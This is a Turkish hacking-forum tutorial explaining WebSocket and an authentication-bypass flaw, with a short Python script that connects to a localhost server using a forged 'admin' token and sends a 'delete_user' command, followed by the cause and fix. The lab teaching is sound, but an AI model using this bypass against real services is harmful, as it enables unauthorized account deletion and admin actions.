Esenlikler TurkHackTeam ailesi, ben Alex.
Bugün WebSocket'i ve WebSocket Authentication & Authorization Bypass zafiyetini öğreneceğiz. Basit bir örnek ile de pratik yapacağız. O halde vakit kaybetmeden başlayalım...
WebSocket Nedir?
WebSocket, modern web uygulamalarında tarayıcı ile sunucu arasında çift yönlü ve sürekli bir bağlantı kurmayı sağlayan bir protokoldür. Yani klasik HTTP’den farkı, sadece isteğe cevap vermek yerine hem tarayıcı hem sunucu istediğinde veri gönderebilir. Bu özellikle anlık uygulamalarda (chat, oyun, borsa verileri, canlı bildirimler) çok işe yarar.
HTTP ile WebSocket'in farkı:
- HTTP: Tarayıcı bir istekte bulunur → sunucu cevap verir → bağlantı kapanır.
- WebSocket: Bir kez bağlantı kurulur → sürekli açık kalır → veri çift yönlü iletilebilir.
Örnek olarak:
Genellikle WebSocket şu alanlarda kullanılır:
Kod:
HTTP:
Tarayıcı → GET /mesaj → Sunucu → cevap: "Merhaba" → Bağlantı kapanır
WebSocket:
Bağlantı kurulur
Bağlantı açık, her iki taraf istediğinde mesaj gönderebilir
Genellikle WebSocket şu alanlarda kullanılır:
- Online Oyunlar(Valorant, CS: Go vb.)
- Canlı Yayınlar(Youtube Live vb.)
- Finans Uygulamaları (Kripto vb.)
- Sohbet Uygulamaları(Discord, Whatsapp vb.)
WebSocket Nasıl Çalışır?
Handshake(El sıkışma - TCP): Tarayıcı HTTP üzerinden WebSocket isteği gönderir
Kod:
GET /chat HTTP/1.1
Host: www.turkhackteam.org
Upgrade: websocket
Connection: Upgrade
Bu, HTTP’den WebSocket’e geçiş (upgrade) talebidir. Eğer sunucu kabul ederse: artık sürekli açık bir kanal olacak. İstemci veya sunucu, Socketi kapatana kadar bağlı kalacaktır.
Authentication (Kimlik Doğrulama) Nerede Yapılır?
Normalde 2 yerde yapabilir: Ya bağlantı kurulurken(Handshake sırasında), ya da bağlantı kurduktan sonra yapılır.
WebSocket'i anlattığımıza göre, artık zafiyet'e geçebiliriz.
WebSocket Authentication By-Pass Nedir?
WebSocket Authentication By-Pass, bir sistemin WebSocket bağlantısı kurarken yaptığı kimlik doğrulama'nın(Authentication) atlanması anlamına gelir. Yani bir kullanıcının erişmemesi gereken şeyleri, kimliğini doğrulamadan veya başkasının yetkisini alarak(Token) erişmesi durumdur.
Peki saldırganlar nasıl By-Pass edebiliyor? Bu zafiyet genellikle geliştiricilerin yaptığı hatadan kaynaklanır.
Özellikle:
- Gelen verilerin (input) yeterince doğrulanmaması
- Token’ların düzgün şekilde kontrol edilmemesi
- Sadece bağlantı kurulurken doğrulama yapılması
WebSocket Authentication By-Pass Pratiği Yapalım
Şimdi kendi localhost'um da bir sunucu kurdum, burada sizlere mantığıyla Kimlik doğrulama'yı by-pass edeceğiz. Hadi Başlayalım.
İlk önce WebSocket sunucumuzu açalım ve isteği bekleyelim:
Sunucumuz başarılı bir şekilde açıldı. Şimdi ise yazdığımız exploiti kullanarak kullanıcı silmeye çalışacağız.
Kullandığım Exploit (Tam Kod)
Python:
import websocket
import json
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:8080?token=admin") #token
print("[+] Bağlandı")
ws.send(json.dumps({ "action": "delete_user" }))
response = ws.recv()
print("[SERVER]:", response)
ws.close()
Exploit'in çıktısı bize bağlandığımızı ve kullanıcının silindiğini söyledi. Yani aslında bu kadar basit fakat ben sadece pratiklik için basit yaptım.
Birde sunucudan bakalım:
Evet, gönderdiğimiz mesajı almış.
Peki Zafiyetin Kaynağı Nedir? Ve Nasıl Önlenir
Bu zafiyetin temel nedeni, sunucunun sadece bağlantı sırasında kimlik doğrulaması yapması ve sonrasında gelen mesajlarda yetki kontrolü gerçekleştirmemesidir.
Sunucu, kullanıcının rolünü belirlemekte ancak bu rolü kritik işlemler sırasında kontrol etmemektedir.
- delete_user gibi admin yetkisi gerektiren bir işlem
- herhangi bir kullanıcı tarafından gönderildiğinde
- sunucu tarafından doğrudan kabul edilmektedir
Bu durum yetkisiz kullanıcıların admin işlemlerini yapması ile sonuçlanır.
Son Söz
Bu konuyu basit anlatmaya çalıştım, umarım anlamış ve öğrenebilmişsinizdir.
Okuduğunuz için teşekkür eder ve iyi forumlar dilerim.


